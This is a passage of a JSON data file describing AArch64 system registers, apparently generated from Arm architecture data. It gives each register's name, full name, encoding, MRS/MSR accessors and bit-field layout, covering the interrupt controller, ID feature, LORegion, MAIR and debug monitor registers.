"ICC_HPPIR1_EL1", "fullname": "Interrupt Controller Virtual Highest Priority Pending Interrupt Register 1", "enc": [3, 0, 12, 12, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_IAR0_EL1", "fullname": "Interrupt Controller Virtual Interrupt Acknowledge Register 0", "enc": [3, 0, 12, 8, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_IAR1_EL1", "fullname": "Interrupt Controller Virtual Interrupt Acknowledge Register 1", "enc": [3, 0, 12, 12, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_IGRPEN0_EL1", "fullname": "Interrupt Controller Virtual Interrupt Group 0 Enable register", "enc": [3, 0, 12, 12, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "Enable", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_IGRPEN1_EL1", "fullname": "Interrupt Controller Virtual Interrupt Group 1 Enable register", "enc": [3, 0, 12, 12, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "Enable", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_PMR_EL1", "fullname": "Interrupt Controller Virtual Interrupt Priority Mask Register", "enc": [3, 0, 4, 6, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "Priority", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_RPR_EL1", "fullname": "Interrupt Controller Virtual Running Priority Register", "enc": [3, 0, 12, 11, 3], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Priority", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ID_AA64AFR0_EL1", "fullname": "AArch64 Auxiliary Feature Register 0", "enc": [3, 0, 0, 5, 4], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 28}, {"name": "IMPLEMENTATION DEFINED", "msb": 27, "lsb": 24}, {"name": "IMPLEMENTATION DEFINED", "msb": 23, "lsb": 20}, {"name": "IMPLEMENTATION DEFINED", "msb": 19, "lsb": 16}, {"name": "IMPLEMENTATION DEFINED", "msb": 15, "lsb": 12}, {"name": "IMPLEMENTATION DEFINED", "msb": 11, "lsb": 8}, {"name": "IMPLEMENTATION DEFINED", "msb": 7, "lsb": 4}, {"name": "IMPLEMENTATION DEFINED", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ID_AA64AFR1_EL1", "fullname": "AArch64 Auxiliary Feature Register 1", "enc": [3, 0, 0, 5, 5], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ID_AA64DFR0_EL1", "fullname": "AArch64 Debug Feature Register 0", "enc": [3, 0, 0, 5, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "MTPMU", "msb": 51, "lsb": 48}, {"name": "TraceFilt", "msb": 43, "lsb": 40}, {"name": "DoubleLock", "msb": 39, "lsb": 36}, {"name": "PMSVer", "msb": 35, "lsb": 32}, {"name": "CTX_CMPs", "msb": 31, "lsb": 28}, {"name": "WRPs", "msb": 23, "lsb": 20}, {"name": "BRPs", "msb": 15, "lsb": 12}, {"name": "PMUVer", "msb": 11, "lsb": 8}, {"name": "TraceVer", "msb": 7, "lsb": 4}, {"name": "DebugVer", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ID_AA64DFR1_EL1", "fullname": "AArch64 Debug Feature Register 1", "enc": [3, 0, 0, 5, 1], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ID_AA64ISAR0_EL1", "fullname": "AArch64 Instruction Set Attribute Register 0", "enc": [3, 0, 0, 6, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "RNDR", "msb": 63, "lsb": 60}, {"name": "TLB", "msb": 59, "lsb": 56}, {"name": "TS", "msb": 55, "lsb": 52}, {"name": "FHM", "msb": 51, "lsb": 48}, {"name": "DP", "msb": 47, "lsb": 44}, {"name": "SM4", "msb": 43, "lsb": 40}, {"name": "SM3", "msb": 39, "lsb": 36}, {"name": "SHA3", "msb": 35, "lsb": 32}, {"name": "RDM", "msb": 31, "lsb": 28}, {"name": "Atomic", "msb": 23, "lsb": 20}, {"name": "CRC32", "msb": 19, "lsb": 16}, {"name": "SHA2", "msb": 15, "lsb": 12}, {"name": "SHA1", "msb": 11, "lsb": 8}, {"name": "AES", "msb": 7, "lsb": 4}]}], "width": 64}, {"index": 0, "name": "ID_AA64ISAR1_EL1", "fullname": "AArch64 Instruction Set Attribute Register 1", "enc": [3, 0, 0, 6, 1], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "LS64", "msb": 63, "lsb": 60}, {"name": "XS", "msb": 59, "lsb": 56}, {"name": "I8MM", "msb": 55, "lsb": 52}, {"name": "DGH", "msb": 51, "lsb": 48}, {"name": "BF16", "msb": 47, "lsb": 44}, {"name": "SPECRES", "msb": 43, "lsb": 40}, {"name": "SB", "msb": 39, "lsb": 36}, {"name": "FRINTTS", "msb": 35, "lsb": 32}, {"name": "GPI", "msb": 31, "lsb": 28}, {"name": "GPA", "msb": 27, "lsb": 24}, {"name": "LRCPC", "msb": 23, "lsb": 20}, {"name": "FCMA", "msb": 19, "lsb": 16}, {"name": "JSCVT", "msb": 15, "lsb": 12}, {"name": "API", "msb": 11, "lsb": 8}, {"name": "APA", "msb": 7, "lsb": 4}, {"name": "DPB", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ID_AA64ISAR2_EL1", "fullname": "AArch64 Instruction Set Attribute Register 2", "enc": [3, 0, 0, 6, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "RPRES", "msb": 7, "lsb": 4}, {"name": "WFxT", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ID_AA64MMFR0_EL1", "fullname": "AArch64 Memory Model Feature Register 0", "enc": [3, 0, 0, 7, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "ECV", "msb": 63, "lsb": 60}, {"name": "FGT", "msb": 59, "lsb": 56}, {"name": "ExS", "msb": 47, "lsb": 44}, {"name": "TGran4_2", "msb": 43, "lsb": 40}, {"name": "TGran64_2", "msb": 39, "lsb": 36}, {"name": "TGran16_2", "msb": 35, "lsb": 32}, {"name": "TGran4", "msb": 31, "lsb": 28}, {"name": "TGran64", "msb": 27, "lsb": 24}, {"name": "TGran16", "msb": 23, "lsb": 20}, {"name": "BigEndEL0", "msb": 19, "lsb": 16}, {"name": "SNSMem", "msb": 15, "lsb": 12}, {"name": "BigEnd", "msb": 11, "lsb": 8}, {"name": "ASIDBits", "msb": 7, "lsb": 4}, {"name": "PARange", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ID_AA64MMFR1_EL1", "fullname": "AArch64 Memory Model Feature Register 1", "enc": [3, 0, 0, 7, 1], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "nTLBPA", "msb": 51, "lsb": 48}, {"name": "AFP", "msb": 47, "lsb": 44}, {"name": "HCX", "msb": 43, "lsb": 40}, {"name": "ETS", "msb": 39, "lsb": 36}, {"name": "TWED", "msb": 35, "lsb": 32}, {"name": "XNX", "msb": 31, "lsb": 28}, {"name": "SpecSEI", "msb": 27, "lsb": 24}, {"name": "PAN", "msb": 23, "lsb": 20}, {"name": "LO", "msb": 19, "lsb": 16}, {"name": "HPDS", "msb": 15, "lsb": 12}, {"name": "VH", "msb": 11, "lsb": 8}, {"name": "VMIDBits", "msb": 7, "lsb": 4}, {"name": "HAFDBS", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ID_AA64MMFR2_EL1", "fullname": "AArch64 Memory Model Feature Register 2", "enc": [3, 0, 0, 7, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "E0PD", "msb": 63, "lsb": 60}, {"name": "EVT", "msb": 59, "lsb": 56}, {"name": "BBM", "msb": 55, "lsb": 52}, {"name": "TTL", "msb": 51, "lsb": 48}, {"name": "FWB", "msb": 43, "lsb": 40}, {"name": "IDS", "msb": 39, "lsb": 36}, {"name": "AT", "msb": 35, "lsb": 32}, {"name": "ST", "msb": 31, "lsb": 28}, {"name": "NV", "msb": 27, "lsb": 24}, {"name": "CCIDX", "msb": 23, "lsb": 20}, {"name": "VARange", "msb": 19, "lsb": 16}, {"name": "IESB", "msb": 15, "lsb": 12}, {"name": "LSM", "msb": 11, "lsb": 8}, {"name": "UAO", "msb": 7, "lsb": 4}, {"name": "CnP", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ID_AA64PFR0_EL1", "fullname": "AArch64 Processor Feature Register 0", "enc": [3, 0, 0, 4, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "CSV3", "msb": 63, "lsb": 60}, {"name": "CSV2", "msb": 59, "lsb": 56}, {"name": "DIT", "msb": 51, "lsb": 48}, {"name": "AMU", "msb": 47, "lsb": 44}, {"name": "MPAM", "msb": 43, "lsb": 40}, {"name": "SEL2", "msb": 39, "lsb": 36}, {"name": "SVE", "msb": 35, "lsb": 32}, {"name": "RAS", "msb": 31, "lsb": 28}, {"name": "GIC", "msb": 27, "lsb": 24}, {"name": "AdvSIMD", "msb": 23, "lsb": 20}, {"name": "FP", "msb": 19, "lsb": 16}, {"name": "EL3", "msb": 15, "lsb": 12}, {"name": "EL2", "msb": 11, "lsb": 8}, {"name": "EL1", "msb": 7, "lsb": 4}, {"name": "EL0", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ID_AA64PFR1_EL1", "fullname": "AArch64 Processor Feature Register 1", "enc": [3, 0, 0, 4, 1], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "CSV2_frac", "msb": 35, "lsb": 32}, {"name": "MPAM_frac", "msb": 19, "lsb": 16}, {"name": "RAS_frac", "msb": 15, "lsb": 12}, {"name": "MTE", "msb": 11, "lsb": 8}, {"name": "SSBS", "msb": 7, "lsb": 4}, {"name": "BT", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ID_AA64ZFR0_EL1", "fullname": "SVE Feature ID register 0", "enc": [3, 0, 0, 4, 4], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "F64MM", "msb": 59, "lsb": 56}, {"name": "F32MM", "msb": 55, "lsb": 52}, {"name": "I8MM", "msb": 47, "lsb": 44}, {"name": "BF16", "msb": 23, "lsb": 20}, {"name": "SVEver", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ID_AFR0_EL1", "fullname": "AArch32 Auxiliary Feature Register 0", "enc": [3, 0, 0, 1, 3], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 15, "lsb": 12}, {"name": "IMPLEMENTATION DEFINED", "msb": 11, "lsb": 8}, {"name": "IMPLEMENTATION DEFINED", "msb": 7, "lsb": 4}, {"name": "IMPLEMENTATION DEFINED", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_DFR0_EL1", "fullname": "AArch32 Debug Feature Register 0", "enc": [3, 0, 0, 1, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "TraceFilt", "msb": 31, "lsb": 28}, {"name": "PerfMon", "msb": 27, "lsb": 24}, {"name": "MProfDbg", "msb": 23, "lsb": 20}, {"name": "MMapTrc", "msb": 19, "lsb": 16}, {"name": "CopTrc", "msb": 15, "lsb": 12}, {"name": "MMapDbg", "msb": 11, "lsb": 8}, {"name": "CopSDbg", "msb": 7, "lsb": 4}, {"name": "CopDbg", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_DFR1_EL1", "fullname": "Debug Feature Register 1", "enc": [3, 0, 0, 3, 5], "accessors": ["MRS"], "fieldsets": [{"instance": "ID_DFR1_EL1", "fields": [{"name": "MTPMU", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_ISAR0_EL1", "fullname": "AArch32 Instruction Set Attribute Register 0", "enc": [3, 0, 0, 2, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Divide", "msb": 27, "lsb": 24}, {"name": "Debug", "msb": 23, "lsb": 20}, {"name": "Coproc", "msb": 19, "lsb": 16}, {"name": "CmpBranch", "msb": 15, "lsb": 12}, {"name": "BitField", "msb": 11, "lsb": 8}, {"name": "BitCount", "msb": 7, "lsb": 4}, {"name": "Swap", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_ISAR1_EL1", "fullname": "AArch32 Instruction Set Attribute Register 1", "enc": [3, 0, 0, 2, 1], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Jazelle", "msb": 31, "lsb": 28}, {"name": "Interwork", "msb": 27, "lsb": 24}, {"name": "Immediate", "msb": 23, "lsb": 20}, {"name": "IfThen", "msb": 19, "lsb": 16}, {"name": "Extend", "msb": 15, "lsb": 12}, {"name": "Except_AR", "msb": 11, "lsb": 8}, {"name": "Except", "msb": 7, "lsb": 4}, {"name": "Endian", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_ISAR2_EL1", "fullname": "AArch32 Instruction Set Attribute Register 2", "enc": [3, 0, 0, 2, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Reversal", "msb": 31, "lsb": 28}, {"name": "PSR_AR", "msb": 27, "lsb": 24}, {"name": "MultU", "msb": 23, "lsb": 20}, {"name": "MultS", "msb": 19, "lsb": 16}, {"name": "Mult", "msb": 15, "lsb": 12}, {"name": "MultiAccessInt", "msb": 11, "lsb": 8}, {"name": "MemHint", "msb": 7, "lsb": 4}, {"name": "LoadStore", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_ISAR3_EL1", "fullname": "AArch32 Instruction Set Attribute Register 3", "enc": [3, 0, 0, 2, 3], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "T32EE", "msb": 31, "lsb": 28}, {"name": "TrueNOP", "msb": 27, "lsb": 24}, {"name": "T32Copy", "msb": 23, "lsb": 20}, {"name": "TabBranch", "msb": 19, "lsb": 16}, {"name": "SynchPrim", "msb": 15, "lsb": 12}, {"name": "SVC", "msb": 11, "lsb": 8}, {"name": "SIMD", "msb": 7, "lsb": 4}, {"name": "Saturate", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_ISAR4_EL1", "fullname": "AArch32 Instruction Set Attribute Register 4", "enc": [3, 0, 0, 2, 4], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "SWP_frac", "msb": 31, "lsb": 28}, {"name": "PSR_M", "msb": 27, "lsb": 24}, {"name": "SynchPrim_frac", "msb": 23, "lsb": 20}, {"name": "Barrier", "msb": 19, "lsb": 16}, {"name": "SMC", "msb": 15, "lsb": 12}, {"name": "Writeback", "msb": 11, "lsb": 8}, {"name": "WithShifts", "msb": 7, "lsb": 4}, {"name": "Unpriv", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_ISAR5_EL1", "fullname": "AArch32 Instruction Set Attribute Register 5", "enc": [3, 0, 0, 2, 5], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "VCMA", "msb": 31, "lsb": 28}, {"name": "RDM", "msb": 27, "lsb": 24}, {"name": "CRC32", "msb": 19, "lsb": 16}, {"name": "SHA2", "msb": 15, "lsb": 12}, {"name": "SHA1", "msb": 11, "lsb": 8}, {"name": "AES", "msb": 7, "lsb": 4}, {"name": "SEVL", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_ISAR6_EL1", "fullname": "AArch32 Instruction Set Attribute Register 6", "enc": [3, 0, 0, 2, 7], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "I8MM", "msb": 27, "lsb": 24}, {"name": "BF16", "msb": 23, "lsb": 20}, {"name": "SPECRES", "msb": 19, "lsb": 16}, {"name": "SB", "msb": 15, "lsb": 12}, {"name": "FHM", "msb": 11, "lsb": 8}, {"name": "DP", "msb": 7, "lsb": 4}, {"name": "JSCVT", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_MMFR0_EL1", "fullname": "AArch32 Memory Model Feature Register 0", "enc": [3, 0, 0, 1, 4], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "InnerShr", "msb": 31, "lsb": 28}, {"name": "FCSE", "msb": 27, "lsb": 24}, {"name": "AuxReg", "msb": 23, "lsb": 20}, {"name": "TCM", "msb": 19, "lsb": 16}, {"name": "ShareLvl", "msb": 15, "lsb": 12}, {"name": "OuterShr", "msb": 11, "lsb": 8}, {"name": "PMSA", "msb": 7, "lsb": 4}, {"name": "VMSA", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_MMFR1_EL1", "fullname": "AArch32 Memory Model Feature Register 1", "enc": [3, 0, 0, 1, 5], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "BPred", "msb": 31, "lsb": 28}, {"name": "L1TstCln", "msb": 27, "lsb": 24}, {"name": "L1Uni", "msb": 23, "lsb": 20}, {"name": "L1Hvd", "msb": 19, "lsb": 16}, {"name": "L1UniSW", "msb": 15, "lsb": 12}, {"name": "L1HvdSW", "msb": 11, "lsb": 8}, {"name": "L1UniVA", "msb": 7, "lsb": 4}, {"name": "L1HvdVA", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_MMFR2_EL1", "fullname": "AArch32 Memory Model Feature Register 2", "enc": [3, 0, 0, 1, 6], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "HWAccFlg", "msb": 31, "lsb": 28}, {"name": "WFIStall", "msb": 27, "lsb": 24}, {"name": "MemBarr", "msb": 23, "lsb": 20}, {"name": "UniTLB", "msb": 19, "lsb": 16}, {"name": "HvdTLB", "msb": 15, "lsb": 12}, {"name": "L1HvdRng", "msb": 11, "lsb": 8}, {"name": "L1HvdBG", "msb": 7, "lsb": 4}, {"name": "L1HvdFG", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_MMFR3_EL1", "fullname": "AArch32 Memory Model Feature Register 3", "enc": [3, 0, 0, 1, 7], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Supersec", "msb": 31, "lsb": 28}, {"name": "CMemSz", "msb": 27, "lsb": 24}, {"name": "CohWalk", "msb": 23, "lsb": 20}, {"name": "PAN", "msb": 19, "lsb": 16}, {"name": "MaintBcst", "msb": 15, "lsb": 12}, {"name": "BPMaint", "msb": 11, "lsb": 8}, {"name": "CMaintSW", "msb": 7, "lsb": 4}, {"name": "CMaintVA", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_MMFR4_EL1", "fullname": "AArch32 Memory Model Feature Register 4", "enc": [3, 0, 0, 2, 6], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "EVT", "msb": 31, "lsb": 28}, {"name": "CCIDX", "msb": 27, "lsb": 24}, {"name": "LSM", "msb": 23, "lsb": 20}, {"name": "HPDS", "msb": 19, "lsb": 16}, {"name": "CnP", "msb": 15, "lsb": 12}, {"name": "XNX", "msb": 11, "lsb": 8}, {"name": "AC2", "msb": 7, "lsb": 4}, {"name": "SpecSEI", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_MMFR5_EL1", "fullname": "AArch32 Memory Model Feature Register 5", "enc": [3, 0, 0, 3, 6], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "nTLBPA", "msb": 7, "lsb": 4}, {"name": "ETS", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_PFR0_EL1", "fullname": "AArch32 Processor Feature Register 0", "enc": [3, 0, 0, 1, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "RAS", "msb": 31, "lsb": 28}, {"name": "DIT", "msb": 27, "lsb": 24}, {"name": "AMU", "msb": 23, "lsb": 20}, {"name": "CSV2", "msb": 19, "lsb": 16}, {"name": "State3", "msb": 15, "lsb": 12}, {"name": "State2", "msb": 11, "lsb": 8}, {"name": "State1", "msb": 7, "lsb": 4}, {"name": "State0", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_PFR1_EL1", "fullname": "AArch32 Processor Feature Register 1", "enc": [3, 0, 0, 1, 1], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "GIC", "msb": 31, "lsb": 28}, {"name": "Virt_frac", "msb": 27, "lsb": 24}, {"name": "Sec_frac", "msb": 23, "lsb": 20}, {"name": "GenTimer", "msb": 19, "lsb": 16}, {"name": "Virtualization", "msb": 15, "lsb": 12}, {"name": "MProgMod", "msb": 11, "lsb": 8}, {"name": "Security", "msb": 7, "lsb": 4}, {"name": "ProgMod", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ID_PFR2_EL1", "fullname": "AArch32 Processor Feature Register 2", "enc": [3, 0, 0, 3, 4], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "RAS_frac", "msb": 11, "lsb": 8}, {"name": "SSBS", "msb": 7, "lsb": 4}, {"name": "CSV3", "msb": 3, "lsb": 0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "IFSR32_EL2", "fullname": "Instruction Fault Status Register (EL2)", "enc": [3, 4, 5, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "TTBCR.EAE==0", "fields": [{"name": "FnV", "msb": 16, "lsb": 16}, {"name": "ExT", "msb": 12, "lsb": 12}, {"name": "FS", "msb": 10, "lsb": 10}, {"name": "LPAE", "msb": 9, "lsb": 9}, {"name": "FS[3:0]", "msb": 3, "lsb": 0}]}, {"instance": "TTBCR.EAE==1", "fields": [{"name": "FnV", "msb": 16, "lsb": 16}, {"name": "ExT", "msb": 12, "lsb": 12}, {"name": "LPAE", "msb": 9, "lsb": 9}, {"name": "STATUS", "msb": 5, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ISR_EL1", "fullname": "Interrupt Status Register", "enc": [3, 0, 12, 1, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "A", "msb": 8, "lsb": 8}, {"name": "I", "msb": 7, "lsb": 7}, {"name": "F", "msb": 6, "lsb": 6}]}], "width": 64}, {"index": 0, "name": "LORC_EL1", "fullname": "LORegion Control (EL1)", "enc": [3, 0, 10, 4, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "DS", "msb": 9, "lsb": 2}, {"name": "EN", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "LOREA_EL1", "fullname": "LORegion End Address (EL1)", "enc": [3, 0, 10, 4, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EA[51:48]", "msb": 51, "lsb": 48}, {"name": "EA[47:16]", "msb": 47, "lsb": 16}]}], "width": 64}, {"index": 0, "name": "LORID_EL1", "fullname": "LORegionID (EL1)", "enc": [3, 0, 10, 4, 7], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "LD", "msb": 23, "lsb": 16}, {"name": "LR", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "LORN_EL1", "fullname": "LORegion Number (EL1)", "enc": [3, 0, 10, 4, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "Num", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "LORSA_EL1", "fullname": "LORegion Start Address (EL1)", "enc": [3, 0, 10, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "SA", "msb": 51, "lsb": 16}, {"name": "Valid", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MAIR_EL1", "fullname": "Memory Attribute Indirection Register (EL1)", "enc": [3, 0, 10, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "MAIR_EL12", "fullname": "Memory Attribute Indirection Register (EL1)", "enc": [3, 5, 10, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "MAIR_EL1", "fullname": "Memory Attribute Indirection Register (EL2)", "enc": [3, 0, 10, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "MAIR_EL2", "fullname": "Memory Attribute Indirection Register (EL2)", "enc": [3, 4, 10, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "MAIR_EL3", "fullname": "Memory Attribute Indirection Register (EL3)", "enc": [3, 6, 10, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "MDCCINT_EL1", "fullname": "Monitor DCC Interrupt Enable Register", "enc": [2, 0, 0, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RX", "msb": 30, "lsb": 30}, {"name": "TX", "msb": 29, "lsb": 29}]}], "width": 64}, {"index": 0, "name": "MDCCSR_EL0", "fullname": "Monitor DCC Status Register", "enc": [2, 3, 0, 1, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "RXfull", "msb": 30, "lsb": 30}, {"name": "TXfull", "msb": 29, "lsb": 29}]}], "width": 64}, {"index": 0, "name": "MDCR_EL2", "fullname": "Monitor Debug Configuration Register (EL2)", "enc": [3, 4, 1, 1, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "HPMFZS", "msb": 36, "lsb": 36}, {"name": "HPMFZO", "msb": 29, "lsb": 29}, {"name": "MTPME", "msb": 28, "lsb": 28}, {"name": "TDCC", "msb": 27, "lsb": 27}, {"name": "HLP", "msb": 26, "lsb": 26}, {"name": "HCCD", "msb": 23, "lsb": 23}, {"name": "TTRF", "msb": 19, "lsb": 19}, {"name": "HPMD", "msb": 17, "lsb": 17}, {"name": "HPMD", "msb": 17, "lsb": 17}, {"name": "TPMS", "msb": 14, "lsb": 14}, {"name": "E2PB", "msb": 13, "lsb": 12}, {"name": "TDRA", "msb": 11, "lsb": 11}, {"name": "TDOSA", "msb": 10, "lsb": 10}, {"name": "TDOSA", "msb": 10, "lsb": 10}, {"name": "TDA", "msb": 9, "lsb": 9}, {"name": "TDE", "msb": 8, "lsb": 8}, {"name": "HPME", "msb": 7, "lsb": 7}, {"name": "TPM", "msb": 6, "lsb": 6}, {"name": "TPMCR", "msb": 5, "lsb": 5}, {"name": "HPMN", "msb": 4, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MDCR_EL3", "fullname": "Monitor Debug Configuration Register (EL3)", "enc": [3, 6, 1, 3, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EnPMSN", "msb": 36, "lsb": 36}, {"name": "MPMX", "msb": 35, "lsb": 35}, {"name": "MCCD", "msb": 34, "lsb": 34}, {"name": "MTPME", "msb": 28, "lsb": 28}, {"name": "TDCC", "msb": 27, "lsb": 27}, {"name": "SCCD", "msb": 23, "lsb": 23}, {"name": "EPMAD", "msb": 21, "lsb": 21}, {"name": "EPMAD", "msb": 21, "lsb": 21}, {"name": "EDAD", "msb": 20, "lsb": 20}, {"name": "EDAD", "msb": 20, "lsb": 20}, {"name": "EDAD", "msb": 20, "lsb": 20}, {"name": "TTRF", "msb": 19, "lsb": 19}, {"name": "STE", "msb": 18, "lsb": 18}, {"name": "SPME", "msb": 17, "lsb": 17}, {"name": "SPME", "msb": 17, "lsb": 17}, {"name": "SPME", "msb": 17, "lsb": 17}, {"name": "SDD", "msb": 16, "lsb": 16}, {"name": "SPD32", "msb": 15, "lsb": 14}, {"name": "NSPB", "msb": 13, "lsb": 12}, {"name": "TDOSA", "msb": 10, "lsb": 10}, {"name": "TDOSA", "msb": 10, "lsb": 10}, {"name": "TDA", "msb": 9, "lsb": 9}, {"name": "TPM", "msb": 6, "lsb": 6}]}], "width": 64}, {"index": 0, "name": "MDRAR_EL1", "fullname": "Monitor Debug ROM Address Register", "enc": [2, 0, 1, 0, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "ROMADDR", "msb": 51, "lsb": 12}, {"name": "Valid", "msb": 1, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MDSCR_EL1", "fullname": "Monitor Debug System Control Register", "enc": [2, 0, 0, 2, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TFO", "msb": 31, "lsb": 31}, {"name": "RXfull", "msb": 30, "lsb": 30}, {"name": "TXfull", "msb": 29, "lsb": 29}, {"name": "RXO", "msb": 27, "lsb": 27}, {"name": "TXU", "msb": 26, "lsb": 26}, {"name": "INTdis", "msb": 23, "lsb": 22}, {"name": "TDA", "msb": 21, "lsb": 21}, {"name": "SC2", "msb": 19, "lsb": 19}, {"name": "MDE", "msb": 15, "lsb": 15}, {"name": "HDE", "msb": 14, "lsb": 14}, {"name": "KDE", "msb": 13, "lsb": 13}, {"name": "TDCC", "msb": 12, "lsb": 12}, {"name": "ERR", "msb": 6, "lsb": 6}, {"name": "SS", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "MIDR_EL1", "fullname": "Main ID Register", "enc": [3, 0, 0, 0, 0], "accessors": 